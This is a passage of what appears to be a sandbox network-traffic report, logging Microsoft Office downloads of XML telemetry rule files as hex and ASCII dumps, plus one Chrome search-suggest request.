0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 57085b9e-f01e-005d-1ca2-3413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160729Z-17df447cdb56mx55hC1DFWvbt4000000095g000000004mu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:29 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 231ce337-901e-0083-5701-2dbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160729Z-16547b76f7fxsvjdhC1DFWprrs0000000fq000000000pebq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f61e936b-a01e-006f-0ea2-3413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160729Z-17df447cdb5bz95mhC1DFWnk7w0000000c7g000000000qkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:30 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2361c5fe-901e-0064-45f6-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160730Z-16547b76f7fr28cchC1DFWnuws0000000fwg00000000mq0t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:30 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c6b44c52-001e-0028-1ef0-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160730Z-16547b76f7f76p6chC1DFWctqw0000000g000000000094np x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:30 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:30 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 0fa334ae-601e-005c-71a1-34f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160730Z-15869dbbcc6x4rp4hC1DFW5xa8000000017g000000007747 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:30 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:30 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2e90e071-a01e-0098-64a3-348556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160730Z-15869dbbcc6rmhmhhC1DFW3r2c00000000hg0000000021gb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160731Z-16547b76f7fm7xw6hC1DFW5px40000000fq000000000p8fv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:31 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:31 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160731Z-16547b76f7f9bs6dhC1DFWt3rg0000000fxg000000003qzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:31 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 1d5973b4-701e-0050-2a24-326767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160731Z-16547b76f7fcjqqhhC1DFWrrrc0000000fvg00000000af5b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:31 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:31 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7bd7c1b9-c01e-002b-04a8-346e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160731Z-15869dbbcc6rzfwxhC1DFWrkb00000000bfg0000000052n3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:31 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49754	142.250.185.132	443	6820	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:31 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
